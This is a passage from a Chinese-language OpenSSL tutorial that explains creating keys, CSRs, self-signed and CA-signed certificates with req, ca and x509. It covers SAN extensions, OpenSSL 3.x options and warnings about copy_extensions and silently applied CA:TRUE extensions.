openssl req -new -out req3.csr # 加密该私钥文件,并提示输入加密的密码。
Generating a 2048 bit RSA private key          # 自动创建私钥
..................+++
.....................................+++
writing new private key to 'privkey.pem'
Enter PEM pass phrase:                         # 要求输入加密私钥文件的密码,且要求长度为4-1024个字符
Verifying - Enter PEM pass phrase:

openssl req -new -out req3.csr -nodes    # -nodes 选项禁止加密私钥文件
openssl req -new -out req3.csr -nodes -keyout myprivkey.pem #使用 -keyout 选项指定私钥文件的保存位置和文件名
6 用 -newkey 指定算法和长度

-newkey 选项可以直接指定私钥的算法和长度,所以它主要用在 openssl req 自动创建私钥时使用。

格式为 -newkey arg

  • arg的格式为 rsa:numbits ,rsa 表示创建 rsa 私钥, numbits 表示私钥的长度。
  • 如果不给定长度(即 -newkey rsa )则默认从配置文件中读取 default_bits ,[3.x] 现在默认是 2048。
  • 远不止支持 RSA。[3.x] 这里可以直接写任意 provider 提供的算法名:
openssl req -newkey rsa:2048     -out req3.csr -noenc -keyout myprivkey.pem
openssl req -newkey rsa:3072     -out req3.csr -noenc -keyout myprivkey.pem
openssl req -newkey ec:<(openssl ecparam -name prime256v1) \
        -out req3.csr -noenc -keyout ec.key      # P-256,传统写法
openssl req -newkey ED25519      -out req3.csr -noenc -keyout ed.key
openssl req -newkey ED448        -out req3.csr -noenc -keyout ed448.key
openssl req -newkey ML-DSA-65    -out req3.csr -noenc -keyout mldsa.key   # [3.5] 后量子

注意 -nodes 在 3.x 已更名为 -noenc 。 -nodes 仍然能用(仅标记为 deprecated), 但新脚本建议写 -noenc ,可读性也更好(nodes 常被误读成 "nodes" 节点)。

7 非交互生成 CSR

方法1:使用 -subj args 选项

# 私钥文件存在时,生成请求文件
openssl req -new -key pri_key.pem \
        -out req1.csr \
        -subj /C=CN/ST=Beijing/L=Beijing/O=DevOps/CN=tomcat.aiull.com

# 同时生成私钥和请求文件
openssl req -newkey rsa:2048 -keyout pri_key.pem \
        -out req1.csr \
        -nodes \
        -subj /C=CN/ST=Beijing/L=Beijing/O=DevOps/CN=tomcat.aiull.com

-subj args 选项格式

#替换或自定义证书请求时需要输入的信息,并输出修改后的请求信息。
#args的格式为 "/type0=value0/type1=value1...",
#如果 value 为空,则表示使用配置文件中指定的默认值,
#如果 value 值为".",则表示该项留空。
#其中可识别 type 有:

/C= Country国家。如CN
/ST= State 省或洲的完整名称   London
/L= Location 所在位置的名称(默认为城市)    London
/O= Organization 组织机构名称(默认为公司)    Global Security
/OU= Organizational Unit 组织机构单元名称(eg.部门) IT Department
/CN= Common Name持有者名或者所在服务器主机名(即域名) example.com
/emailAddress 管理员邮件地址,可以省略[email protected]

方法2:使用自定义的 OpenSSL 配置文件

#自动生成 www.test.com 的 CSR 文件,可以先创建一个fd.cnf文件:
cat >fd.cnf<<EOF
[req]
prompt = no
distinguished_name = dn
req_extensions = ext
input_password = PASSPHRASE

[dn]
CN = www.test.com
emailAddress = [email protected]
O = Feisty Duck Ltd
L = London
C = GB

[ext]
subjectAltName = DNS:www.test.com,DNS:test.com
EOF

#然后使用下面的命令直接创建 CSR 文件:
openssl req -new -config fd.cnf -key fd.key -out fd.csr
8 私钥加密:-passin / -passout

-passout, -passin

export MY_PASS=123456 ; openssl genrsa -aes128  -out pri_key.pem -passout "env:MY_PASS"

openssl req -new -key pri_key.pem \
        -passin "env:MY_PASS" \
        -out req1.csr \
        -subj /C=CN/ST=Beijing/L=Beijing/O=DevOps/CN=tomcat.aiull.com
9 自签署 CA 证书

可用于自建根 CA 时需要使用 -x509 选项

#如果已经有了CSR,可以使用下面的文件创建证书
openssl req -x509 -in req1.csr -key pri_key.pem  -out CA1.crt -days 36500
#或
openssl x509 -req  -in fd.csr -signkey pri_key.pem -out CA1.crt -days 36500

#也可以无需单独创建一个CSR,使用下面的命令直接使用私钥创建自签名证书。交互式
openssl req -new -x509 -days 36500 -key pri_key.pem -out CA1.crt
# 非交互,直接使用 -subj
openssl req -new -x509 \
        -days 36500 \
        -key fd.key \
        -out fd.crt \
        -subj "/C=GB/L=London/O=Feisty Duck Ltd/CN=tomcat.aiull.com"
  • [3.x] req -x509 也能当 CA 用

    3.0 给 req 加了 -CA / -CAkey 。给了这两个选项就隐含 -x509 , 于是"用 CA 给 CSR 签发证书"这件事可以只用 req 一个命令完成, 而且能顺手用 -addext 加扩展 —— 不用再写临时 ext 文件。

    先把两种写法都列出来,两者的取舍见本节末尾"到底该用哪个":

    # 方式A(经典):x509 -req
    openssl x509 -req -in server.csr -CA ca.crt -CAkey ca.key -days 397 -out server.crt \
            -extfile server.ext
    
    # 方式B([3.x] 新):req -x509 -CA,扩展直接写命令行
    openssl req -x509 -in server.csr -CA ca.crt -CAkey ca.key -days 397 -out server.crt \
            -copy_extensions copy \
            -addext "basicConstraints=critical,CA:FALSE" \
            -addext "extendedKeyUsage=serverAuth"
    
    # -CAkey 可省略:不给时默认就用 -CA 指定的那个文件里的私钥(适合 key+cert 同文件的情况)
    

    方式B 有一个必须知道的陷阱:它会静默套用配置文件里的 x509_extensions

    req 会读配置文件, x509 不读 —— 这是两者最本质的区别。 req 的 [req] 段里有一项 x509_extensions ,指定"生成 X.509 证书时套用哪个扩展段"。 而 OpenSSL 自带的 openssl.cnf 里这一项是默认打开的 :

    grep -n 'x509_extensions' $(openssl version -d | cut -d'"' -f2)/openssl.cnf
    97:x509_extensions      = usr_cert      # The extensions to add to the cert
    149:x509_extensions     = v3_ca # The extensions to add to the self signed cert
    

    (上面的行号是 ubuntu2604 / OpenSSL 3.5.5 上的实际值,*行号随发行版和版本变化* , 别记死,用这条 grep 自己确认。)

    第 149 行在 [req] 段内,而 [v3_ca] 的内容就是 basicConstraints=critical,CA:TRUE 。 于是你用 req -x509 -CA 去签一张服务端证书,它会套用 v3_ca , 给你一张 CA:TRUE 的"服务端证书" —— 相当于把签发权限泄露给了业务服务器:

    # 漏写 basicConstraints 的后果:
    openssl req -x509 -in server.csr -CA ca.crt -CAkey ca.key -out server.crt -copy_extensions copy
    openssl x509 -in server.crt -noout -text | grep -A1 'Basic Constraints'
                X509v3 Basic Constraints: critical
                    CA:TRUE                      # <- 这不是你想要的
    
    # 必须显式覆盖:
    openssl req -x509 -in server.csr -CA ca.crt -CAkey ca.key -out server.crt \
            -copy_extensions copy -addext "basicConstraints=critical,CA:FALSE"
                X509v3 Basic Constraints: critical
                    CA:FALSE                     # <- 正确
    

    可以用 -config /dev/null 证明这确实来自配置而非内置默认:

    openssl req -x509 -config /dev/null -in s.csr -CA ca.crt -CAkey ca.key -days 30 -out b.crt
    openssl x509 -in b.crt -noout -text | sed -n '/X509v3 extensions/,/Signature/p'
            X509v3 extensions:
                X509v3 Subject Key Identifier: ...      # 这两个是内置的
                X509v3 Authority Key Identifier: ...
                                                        # basicConstraints 消失了
    

    对比一下: openssl x509 -req 根本不读配置文件,默认 完全不加 basicConstraints。 真正危险的地方在于: req -x509 的结果 取决于当前机器上 openssl.cnf 的内容 , 同一条命令在你的开发机和 CI 容器里可能签出不同的证书,而且没有任何提示。

  • [3.4] -not_before / -not_after 精确控制起止时间

    以前只有 openssl ca 有 -startdate / -enddate , req / x509 只能用 -days 。 3.4 起三个命令统一支持 -not_before / -not_after ,格式 [CC]YYMMDDHHMMSSZ :

    openssl req -x509 -new -key ca.key -subj "/CN=Test CA" -out ca.crt \
            -not_before 20250101000000Z -not_after 20350101000000Z
    
    # 造一张"已过期"的证书来测试客户端的过期处理,不用改系统时间:
    openssl x509 -req -in server.csr -CA ca.crt -CAkey ca.key -out expired.crt \
            -not_before 20200101000000Z -not_after 20200201000000Z
    
    # 对 ca 命令而言 -not_before/-not_after 只是 -startdate/-enddate 的别名
    
10 一张证书支持多个主机名(SAN)

默认情况下,OpenSSL 创建的证书只包含一个公用名而且只能设置一个主机名。 因为这个限制,即便你有其他相关联的站点,也不得不为每个站点生成一张单独的证书。 在这种情况下,使用一张多域名(multidomain)的证书就有意义了。 即便你是维护一个站点,也得确保用户在访问站点的所有子域名的时候证书是有效的。

有两种方式在一张证书里面支持多主机名。

  • 一种方式是在 X.509 的使用者可选名称(subjectalternative name,SAN)扩展字段里面列出所有要使用的主机名;
  • 另外一种就是使用泛域名。

可以将两种方式合在一起,这样更加方便。在实际使用的时候,可以设置顶级域名和一个泛域名来囊括所有二级域名(例如 jasper.org 和 *.jasper.org )。

#将扩展信息放在一个单独的文本文件中 fd.ext,必须在可选名称列表中包含所有想要的主机名。

echo 'subjectAltName = DNS:*.jasper.com, DNS:jasper.com, DNS:*.aiull.com,DNS:aiull.com' >fd.ext

#然后当使用 x509 命令签发证书的时候,使用 -extfile 开关引用该文件

openssl x509 -req -in req1.csr \
        -days 36500 \
        -signkey pri_key.pem \
        -out fd.crt \
        -extfile fd.ext


#检查证书的时候你会发现它包括了SAN扩展信息
openssl x509 -in fd.crt -text -noout
        X509v3 extensions:
            X509v3 Subject Alternative Name:
                DNS:*.jasper.com, DNS:jasper.com, DNS:*.aiull.com, DNS:aiull.com
  • [3.x] -copy_extensions:不用再写 ext 文件

    上面"把 SAN 写进 ext 文件再 -extfile 引用"是 1.1.1 时代的标准做法, 原因是 openssl x509 -req 会 无条件丢弃 CSR 里的所有扩展 。 3.0 给 x509 加了 -copy_extensions ,可以直接把 CSR 里的扩展带进证书:

    # 1) 申请方把 SAN 写进 CSR
    openssl req -new -key server.key -subj "/CN=a.test" -out server.csr \
            -addext "subjectAltName=DNS:a.test,DNS:b.test"
    
    # 2) 签发方带上 -copy_extensions
    openssl x509 -req -in server.csr -CA ca.crt -CAkey ca.key \
            -copy_extensions copy -days 397 -out server.crt
    
    openssl x509 -in server.crt -noout -text | sed -n '/X509v3 extensions/,/Signature Alg/p'
            X509v3 extensions:
                X509v3 Subject Alternative Name:
                    DNS:a.test, DNS:b.test
                X509v3 Subject Key Identifier: ...
                X509v3 Authority Key Identifier: ...
    

    取值: none (默认,丢弃全部) / copy (只复制证书里还没有的) / copyall (全部复制,同名的覆盖)。

  • 安全警告:copy_extensions 会把扩展决定权交给申请方

    CSR 是申请方自己生成、自己签名的,里面的扩展 完全由申请方控制 。 开了 copy_extensions 就等于允许申请方自己声明扩展,包括 basicConstraints=CA:TRUE —— 申请方拿到证书后就能自己当 CA 签发任意域名的证书。

    所以:

    • 私有CA、CSR 由你自己生成 → 用 -copy_extensions copy 很方便,没问题。
    • 接收外部 CSR 的签发流程 → 不要开 ,改用 -extfile 由签发方单方面指定扩展, 只从 CSR 里取公钥和 subject。或者至少同时用 -addext 强制覆盖 basicConstraints 和 keyUsage (copy 模式下证书里已存在的扩展不会被 CSR 覆盖)。
  • 范例:老写法(1.1.1 时代的 cnf 拼接)
    cat > openssl.cnf << 'EOF'
    [ req ]
    default_bits       = 2048
    default_md         = sha256
    prompt             = no
    distinguished_name = req_dn
    [ req_dn ]
    CN = placeholder
    EOF
    
    #1 生成CA密钥
    openssl genrsa -out ca.key 2048
    
    #2 生成CA根证书
    openssl req -sha256 -new -x509 -days 365 \
            -key ca.key \
            -out ca.crt \
            -subj "/C=CN/ST=Beijing/L=Beijing/O=ops/OU=it/CN=Root"
    
    #3 生成服务器密钥
    openssl genrsa -out server.key 2048
    #4 生成服务器证书请求文件
    openssl req -new \
            -sha256 \
            -key server.key \
            -subj "/C=CN/ST=Beijing/L=Beijing/O=ops/OU=sit/CN=app.jasper.org" \
            -reqexts SAN \
            -config <(cat openssl.cnf \
                          <(printf "[SAN]\nsubjectAltName=DNS:*.jasper.org,DNS:*.baidu.com")) \
            -out server.csr
    
    #5 CA签署服务器证书
    openssl x509 -req -in server.csr \
      -out server.crt \
      -CA ca.crt -CAkey ca.key -CAcreateserial \
      -days 36500 -sha256 \
      -extfile <(cat  openssl.cnf \
          <(printf "[SAN]\nsubjectAltName=DNS:*.jasper.org,DNS:*.baidu.com")) \
      -extensions SAN
    
  • 范例:新写法(3.x,不需要 cnf)

    上面那套 <(cat openssl.cnf <(printf ...)) 的进程替换拼接,在 3.x 里已经完全没必要了。 -addext + -copy_extensions 就够:

    set -e
    # 1) 根CA(私钥 + 自签证书一步到位,basicConstraints/SKID/AKID 自动带)
    openssl req -x509 -noenc -newkey rsa:4096 -days 3650 \
            -keyout ca.key -out ca.crt \
            -subj "/C=CN/ST=Beijing/L=Beijing/O=ops/CN=Internal Root CA" \
            -addext "basicConstraints=critical,CA:TRUE,pathlen:1" \
            -addext "keyUsage=critical,keyCertSign,cRLSign"
    
    # 2) 服务端私钥 + CSR(SAN 写在 CSR 里)
    openssl req -new -noenc -newkey rsa:2048 \
            -keyout server.key -out server.csr \
            -subj "/C=CN/ST=Beijing/L=Beijing/O=ops/CN=app.jasper.org" \
            -addext "subjectAltName=DNS:app.jasper.org,DNS:*.jasper.org,IP:127.0.0.1"
    
    # 3) 签发(序列号自动随机,不需要 -CAcreateserial)
    openssl x509 -req -in server.csr -CA ca.crt -CAkey ca.key \
            -copy_extensions copy -days 397 -out server.crt \
            -extfile <(printf "basicConstraints=critical,CA:FALSE\nkeyUsage=critical,digitalSignature,keyEncipherment\nextendedKeyUsage=serverAuth\n")
    
    # 4) 自检:必须带 -auth_level 1,否则弱算法问题看不出来
    openssl verify -auth_level 1 -CAfile ca.crt server.crt
    openssl x509 -in server.crt -noout -dates -ext subjectAltName,basicConstraints,keyUsage,extendedKeyUsage
    

    第 3 步为什么还留了 -extfile :因为 -copy_extensions copy 只补充证书里 "还没有的"扩展,而这里 basicConstraints/keyUsage/EKU 需要由 签发方 决定, 不能交给 CSR。 -extfile 先把它们定死,SAN 则从 CSR 复制过来 —— 这是 "既省事又不失控"的组合。如果 CSR 完全是你自己生成的,也可以把这些扩展 一起写进 CSR 的 -addext ,第 3 步就只剩 -copy_extensions copy 。

附:openssl req 选项速查
openssl req [-new] [-newkey rsa:bits] [-verify] [-x509] [-in filename] [-out filename] [-key filename] [-passin arg] [-passout arg] 
[-keyout filename] [-pubkey] [-nodes] [-[dgst]] [-config filename] [-subj arg] [-days n] [-set_serial n] [-extensions section]
[-reqexts section] [-utf8] [-nameopt] [-reqopt] [-subject] [-subj arg] [-text] [-noout] [-batch] [-verbose]
 
选项说明:
-new        :创建一个证书请求文件,会交互式提醒输入一些信息,这些交互选项以及交互选项信息的长度值以及其他一些扩展属性在配置文件(默认为
            :openssl.cnf,还有些辅助配置文件)中指定了默认值。如果没有指定"-key"选项,则会自动生成一个RSA私钥,该私钥的生成位置
            :也在openssl.cnf中指定了。如果指定了-x509选项,则表示创建的是自签署证书文件,而非证书请求文件
-newkey args:类似于"-new"选项,创建一个新的证书请求,并创建私钥。args的格式是"rsa:bits"(其他加密算法请查看man),其中bits
            :是rsa密钥的长度,如果bits省略了(即-newkey rsa),则长度根据配置文件中default_bits指令的值作为默认长度,默认该值为2048
            :如果指定了-x509选项,则表示创建的是自签署证书文件,而非证书请求文件
-nodes      :默认情况下,openssl req自动创建私钥时都要求加密并提示输入加密密码,指定该选项后则禁止对私钥文件加密
-key filename    :指定私钥的输入文件,创建证书请求时需要
-keyout filename :指定自动创建私钥时私钥的存放位置,若未指定该选项,则使用配置文件中default_keyfile指定的值,默认该值为privkey.pem
-[dgst]          :指定对创建请求时提供的申请者信息进行数字签名时的单向加密算法,如-md5/-sha1/-sha512等,
                 :若未指定则默认使用配置文件中default_md指定的值
-verify       :对证书请求文件进行数字签名验证
-x509         :指定该选项时,将生成一个自签署证书,而不是创建证书请求。一般用于测试或者为根CA创建自签名证书
-days n       :指定自签名证书的有效期限,默认30天,需要和"-x509"一起使用。
              :注意是自签名证书期限,而非请求的证书期限,因为证书的有效期是颁发者指定的,证书请求者指定有效期是没有意义的,
              :配置文件中的default_days指定了请求证书的有效期限,默认365天
-set_serial n :指定生成自签名证书时的证书序列号,该序列号将写入配置文件中serial指定的文件中,这样就不需要手动更新该序列号文件
              :支持数值和16进制值(0x开头),虽然也支持负数,但不建议
-in filename  :指定证书请求文件filename。注意,创建证书请求文件时是不需要指定该选项的
-out filename :证书请求或自签署证书的输出文件,也可以是其他内容的输出文件,不指定时默认stdout
-subj args    :替换或自定义证书请求时需要输入的信息,并输出修改后的请求信息。args的格式为"/type0=value0/type1=value1...",
              :如果value为空,则表示使用配置文件中指定的默认值,如果value值为".",则表示该项留空。其中可识别type(man req)有:
              :C是Country、ST是state、L是localcity、O是Organization、OU是Organization Unit、CN是common name等
-config  配置内容 或文件路径

【输出内容选项:】
-text         :以文本格式打印证书请求
-noout        :不输出部分信息
-subject      :输出证书请求文件中的subject(如果指定了x509,则打印证书中的subject)
-pubkey       :输出证书请求文件中的公钥

【配置文件项和杂项:】
-passin arg      :传递解密密码
-passout arg     :指定加密输出文件时的密码
-config filename :指定req的配置文件,指定后将忽略所有的其他配置文件。如果不指定则默认使用/etc/pki/tls/openssl.cnf中req段落的值
-batch           :非交互模式,直接从配置文件(默认/etc/pki/tls/openssl.cnf)中读取证书请求所需字段信息。但若不指定"-key"时,仍会询问key
-verbose         :显示操作执行的详细信息
附:配置文件里的 [req] 段

[req] 段各配置项的逐条含义见前面 req 证书请求配置 一节,这里不重复。

需要注意的是 很多老教程贴的默认值早就不对了 。ubuntu2604 自带的实际内容:

root@master01:~# sed -n '/^\[ req \]/,/^\[ req_attributes \]/p' /etc/ssl/openssl.cnf \
      | grep -vE '^#|^$'
[ req ]
default_bits            = 2048      # 老文档说默认 512,早就不是了
default_keyfile         = privkey.pem
distinguished_name      = req_distinguished_name
attributes              = req_attributes
x509_extensions = v3_ca # 注意这一项,见"四个坑"的坑3
string_mask = utf8only
[ req_distinguished_name ]
countryName                     = Country Name (2 letter code)
countryName_default             = AU        # Debian/Ubuntu 是 AU,不是 XX
countryName_min                 = 2
countryName_max                 = 2
stateOrProvinceName             = State or Province Name (full name)
stateOrProvinceName_default     = Some-State
localityName                    = Locality Name (eg, city)
0.organizationName              = Organization Name (eg, company)
0.organizationName_default      = Internet Widgits Pty Ltd
organizationalUnitName          = Organizational Unit Name (eg, section)
commonName                      = Common Name (e.g. server FQDN or YOUR name)
commonName_max                  = 64
emailAddress                    = Email Address
emailAddress_max                = 64
[ req_attributes ]

两个容易被老文档误导的点:

  • [req] 段里 没有 default_md 。摘要由 [CA_default] default_md 或命令行 -sha256 决定, 不指定时 req 用 sha256。老文档里写的 default_md = sha1 是 1.0 时代的值
  • countryName_default 在 Debian/Ubuntu 上是 AU (RedHat 系才是 XX ), 交互式生成 CSR 时直接回车就会得到 C=AU ,这几乎总是错的 —— 用 -subj 显式指定

req -x509 和 x509 -req 到底该用哪个

结论先行: 签发已有的 CSR,继续用 x509 -req ,不要换成 req -x509 -CA 。 后者是 3.0 加的便利功能,但在"给别人签证书"这个场景上它有两处实测出来的劣化。

差异一:坏签名的 CSR,=req -x509= 只警告,照样签发

CSR 是自签名的,签发方本应先验证这个自签名,确认"申请者确实持有对应私钥"。 把一个 CSR 的签名字节改坏再分别喂给两个命令:

# x509 -req:硬失败,不产出证书
openssl x509 -req -in bad.der -inform DER -CA ca.crt -CAkey ca.key -out /dev/null
Warning: CSR self-signature does not match the contents
Certificate request self-signature did not match the contents
...:error:0200008A:rsa routines:RSA_padding_check_PKCS1_type_1:invalid padding:...
echo $?  # -> 1

# req -x509:只打一行 Warning,证书照常签出来
openssl req -x509 -in bad.der -inform DER -CA ca.crt -CAkey ca.key -out /dev/null
Warning: CSR self-signature does not match the contents
echo $?  # -> 0

在脚本里靠退出码判断成败时,这个差别会让一张本该被拒的 CSR 悄悄通过。

差异二:=req= 没有 -extfile ,也没有 -CAserial
openssl x509 -help | grep -E '^ -extfile|^ -CAserial'
 -extfile infile    Config file with X509V3 extensions to add
 -CAserial val      File that keeps track of CA-generated serial number

openssl req -help | grep -E '^ -extfile|^ -CAserial'
# (两个都没有)

req 的 -extensions 只能指向 主配置文件 里的某个段,没法指向一个独立的 ext 文件。 也就是说"签发方用一个独立文件单方面规定扩展"这个安全做法,在 req 下只能靠 -addext 一条条堆在命令行上,或者被迫去维护一个完整 cnf。

三个命令的分工
场景 用什么 理由
签发别人给的 CSR x509 -req -CA 不读配置、坏签名硬失败、有 -extfile
自签一张根CA / 自签测试证书(无 CSR) req -x509 这是它的本职工作,一条命令出密钥+证书
密钥+CA签发一步到位(不想留 CSR 文件) req -x509 -CA 只有它能做 ,见下
正式CA:要序列号台账、index、CRL、吊销 openssl ca 前两者都不维护 database/serial/crlnumber

req -x509 -CA 唯一不可替代的价值,是把"生成密钥 → 生成CSR → 签发"三步压成一条命令, 中间不落 CSR 文件 —— 批量签测试证书时很省事:

openssl req -x509 -newkey rsa:2048 -noenc -keyout one.key -out one.crt \
        -CA ca.crt -CAkey ca.key -days 397 -subj "/CN=one.test" \
        -addext "basicConstraints=critical,CA:FALSE" \
        -addext "keyUsage=critical,digitalSignature,keyEncipherment" \
        -addext "extendedKeyUsage=serverAuth" \
        -addext "subjectAltName=DNS:one.test"

openssl verify -auth_level 1 -CAfile ca.crt one.crt
one.crt: OK

用这条命令时务必注意两点:

  1. basicConstraints=critical,CA:FALSE 必须显式写 ,否则被 cnf 里的 v3_ca 套成 CA:TRUE;
  2. 密钥是现生成的、CSR 不存在,所以"CSR 签名校验"那个差异在这里不适用 —— 这也是 这个场景下用 req -x509 没有安全顾虑的原因。

openssl ca用法 (签署和自建CA)

经过上面的示例,应该对openssl ca命令的用法大致了解了,下面是其完整的用 法说明,不包括crl相关功能。

要注意,ca命令是用于签署证书的,所以它所需要的文件除了配置文件外就是私 钥文件和证书请求文件,而签名后生成的文件是证书文件,因此使用”-in”指 定的对象是待签署文件,"-infiles"则是指定多个待签署文件,"-keyfile"是指 定私钥文件,"-out"是指定输出的证书文件。

openssl ca [-verbose] [-config filename] [-name section] [-startdate date] [-enddate date] [-days arg] [-md arg] [-policy arg] [-keyfile arg] [-key arg] [-passin arg] [-cert file]
[-selfsign] [-in file] [-out file] [-notext] [-outdir dir] [-infiles] [-ss_cert file] [-preserveDN] [-noemailDN] [-batch] [-extensions section] [-extfile section] [-subj arg] [-utf8]
【选项说明:】
-config filename :指定要使用的配置文件,指定后将忽略openssl.cnf中指定的关于ca的配置选项。
-name section    :指定使用配置文件中的那个section。指定后将忽略openssl.cnf中的default_ca段。
-in filename     :指定要被CA签署的单个证书请求文件。根CA为其他证书签署时使用。
-infiles         :该选项只能是最后一个选项,该选项所接的所有参数都被认为是要被签署的证书请求文件,即一次性签署多个请求文件时使用的选项。
-selfsign        :自签署。指定-ss_cert选项时该选项被忽略。
-ss_cert filename:将被CA自签署的单个证书文件。也就是说要重新签署证书。
-out filename    :证书的输出文件,同时也会输出到屏幕。不指定时默认输出到stdout。
-outdir dir_name :证书的输出目录。指定该选项时,将自动在此目录下生成一个文件名包含16进制serial值的".pem"证书文件。
-cert            :CA自己的证书文件。
-keyfile filename:指定签署证书请求时的私钥文件,即CA自己的私钥文件。
-key passwd_value:指定私钥的加密密码。
-passin arg      :传递解密密码
-verbose         :打印操作执行时的详细信息
-notext          :禁止以文本格式将证书输出到"-out"指定的文件中
-days arg        :证书有效期限,从创建时刻开始算startdate,有效期结束点为enddate。
-startdate       :自定义证书的开始时间,和"-enddate"一起使用可以推算出证书有效期。
-enddate         :自定义证书的结束时间。
-md alg          :指定单向加密算法
-policy arg      :该选项是配置文件中的section内容,该选项指定了证书信息中的field部分是否需要强制提供还是要强制匹配,
                 :或者可提供可不提供。详细的见配置文件说明。
-extensions section:指定当前创建的证书使用配置文件中的哪个section作为扩展属性。
-batch           :签署时使用批处理模式,即非交互模式。该模式下不会有两次询问(是否签署、是否提交)。
-subj arg        :替换证书请求中的subject,格式/type0=value0/type1=value1/type2=...

# 配置文件关于ca的部分,其中被标记为必须项的表示配置文件中或者命令行中必须给出该选项及其值
new_certs_dir    :等同于"-outdir"选项。必须项
certificat       :等同于"-cert"选项,CA自己的证书文件。必须项
private_key      :等同于"-keyfile"选项,签署证书请求文件时的私钥文件,即CA自己的私钥文件。必须项
default_days     :等同于"-days"选项
default_startdate:等同于"-startdate"选项。
default_enddate  :等同于"-enddate"选项。
default_md       :等同于"-md"选项。必须项
database         :openssl维护的数据库文件。存放证书条目信息及状态信息。必须项
serial           :已颁发证书的序列号(16进制)文件。必须项且该文件中必须存在一个序列值
unique_subject   :如果设置为yes,database中的subject列值必须不重复。如果设置为no,允许subject重复。默认是yes,
                 :这是为了兼容老版本的Openssl,推荐设置为no。
x509_extensions  :等同于"-extensions"选项。
policy           :等同于"-policy"选项。必须项
name_opt/cert_opt:证书的展示格式,虽非必须但建议设置为ca_default,若不设置将默认使用老版本的证书格式(不建议如此)。
                 :伪命令ca无法直接设置这两个选项,而伪命令x509的"-nameopt"和"-certopt"选项可以分别设置。
copy_extensions  :决定证书请求中的扩展项如何处理的。如果设置为none或不写该选项,则扩展项被忽略并且不复制到证书中去。
                 :如果设置为copy,则证书请求中已存在而证书中不存在的扩展项将复制到证书中。
                 :如果设置为copyall,则证书请求中所有的扩展项都复制到证书中,此时若证书中已存在某扩展项,则先删除再复制。
                 :该选项的主要作用是允许证书请求为特定的扩展项如subjectAltName提供值。
                 :使用该选项前请先查看man ca中的WARNINGS部分。建议一般简单使用时设置为none或不设置。

范例: 脚本自定义CA 签署证书函数

function openssl_sign() {
    echo "Generating ${3}/${4}.crt"
    openssl ca -batch -config openssl.conf -extensions $5 -days 3650 -notext \
        -md sha256 -in ${3}/${4}.csr -out ${3}/${4}.crt \
        -cert ${1} -keyfile ${2}

# -batch         :取消命令提示。非交互模式下不会有两次询问(是否签署、是否提交)
# -extensions    :证书扩展项,设置的扩展项优先于配置文件指定的扩展项。
# -notext        :取消证书的输出显示
# -md sha256     :指定单向加密算法
# -in file       :指定要被CA签署的单个证书请求文件。根CA为其他证书签署时使用。
# -out file      :证书的输出文件,同时也会输出到屏幕。不指定时默认输出到stdout。
# -cert file     :CA自己的证书文件
# -keyfile arg   :指定签署证书请求时的私钥文件,即CA自己的私钥文件。
}

openssl ca -batch -config  /etc/pki/tls/openssl.cnf \
        -days 36500 -notext \
        -md sha256 -in server.csr -out server.crt \
        -cert ca.crt -keyfile ca.key

openssl x509用法 (签署和自签署)

主要用于输出证书信息,也能够签署证书请求文件、自签署、转换证书格式等

openssl x509工具 不会使用openssl配置文件中的设定,而是完全需要自行设 定或者使用该伪命令的默认值,它就像是一个完整的小型的CA工具箱 。

选项非常多,所以分段解释。

【输入输出选项:】
-in filename  :指定证书输入文件,若同时指定了"-req"选项,则表示输入文件为证书请求文件。
-out filename :指定输出文件
-<digest>     :指定签名摘要算法,如 -sha256/-sha384/-sha512/-sha3-256。可用值见 openssl list -digest-commands。
              :[3.x] 老文档里的 -md2/-md5/-mdc2 要么已被移入 legacy provider,要么签出来的证书在
              :security level 1 下直接不可用,不要再用。不指定时默认 sha256。

【信息输出选项:】
-text:以text格式输出证书内容,即以最全格式输出,
     :包括public key,signature algorithms,issuer和subject names,serial number以及any trust settings.
-certopt option:自定义要输出的项
-noout         :禁止输出证书请求文件中的编码部分
-pubkey        :输出证书中的公钥
-modulus       :输出证书中公钥模块部分
-serial        :输出证书的序列号
-subject       :输出证书中的subject
-issuer        :输出证书中的issuer,即颁发者的subject
-subject_hash  :输出证书中subject的hash码
-issuer_hash   :输出证书中issuer(即颁发者的subject)的hash码
-hash          :等价于"-subject_hash",但此项是为了向后兼容才提供的选项
-email         :输出证书中的email地址,如果有email的话
-startdate     :输出证书有效期的起始日期
-enddate       :输出证书有效期的终止日期
-dates         :输出证书有效期,等价于"startdate+enddate"
-fingerprint   :输出指纹摘要信息
输出证书某些信息的时候,可以配合"-noout"选项,然后再指定某些项来使用。例如:
openssl x509 -in cert.pem -noout -text
openssl x509 -in cert.pem -noout -startdate -enddate

【签署选项:】
*****************************************************************************************
*  伪命令x509可以像openssl ca一样对证书或请求执行签名动作。注意,openssl x509         *
*  不读取配置文件,所有的一切配置都由x509自行提供,所以openssl x509像是一个"mini CA"  *
*****************************************************************************************
-signkey filename:该选项用于提供自签署时的私钥文件,自签署的输入文件"-in file"的file可以是证书请求文件,也可以是已签署过的证书。
                 :[3.x] 已更名为 -key,-signkey 保留为别名。
-days arg        :指定证书有效期限,默认30天。
-not_before date :[3.4] 显式指定 notBefore,格式 [CC]YYMMDDHHMMSSZ
-not_after date  :[3.4] 显式指定 notAfter,会覆盖 -days
-new             :[3.x] 不需要 CSR,直接从一个私钥/公钥生成证书
-copy_extensions arg:[3.x] 从 CSR 复制扩展到证书。取值 none(默认)/copy/copyall。详见前面 SAN 一节
-force_pubkey file  :把证书里的公钥换成指定文件里的公钥(用于 CSR 的公钥和实际公钥分离的场景)
-ext list           :只显示指定的扩展,如 -ext subjectAltName,basicConstraints。排查时很好用
-x509toreq:将已签署的证书转换回证书请求文件。需要使用"-signkey"选项来传递需要的私钥。
-req:x509工具默认以证书文件做为inputfile(-in file),指定该选项将使得input file的file为证书请求文件。
-set_serial n:指定证书序列号。该选项可以和"-singkey"或"-CA"选项一起使用。
             :如果和"-CA"一起使用,则"-CAserial"或"-CAcreateserial"选项指定的serial值将失效。
             :序列号可以使用数值或16进制值(0x开头)。也接受负值,但是不建议。
-CA filename      :指定签署时所使用的CA证书。该选项一般和"-req"选项一起使用,用于为证书请求文件签署。
-CAkey filename   :设置CA签署时使用的私钥文件。如果该选项没有指定,将假定CA私钥已经存在于CA自签名的证书文件中。
-CAserial filename:设置CA使用的序列号文件。当使用"-CA"选项来签名时,它将会使用某个文件中指定的序列号来唯一标识此次签名后的证书文件。
                  :这个序列号文件的内容仅只有一行,这一行的值为16进制的数字。当某个序列号被使用后,该文件中的序列号将自动增加。
                  :默认序列号文件以CA证书文件基名加".srl"为后缀命名。如CA证书为"mycert.pem",则默认寻找的序列号文件为"mycert.srl"
-CAcreateserial   :当使用该选项时,如果CA使用的序列号文件不存在将自动创建。
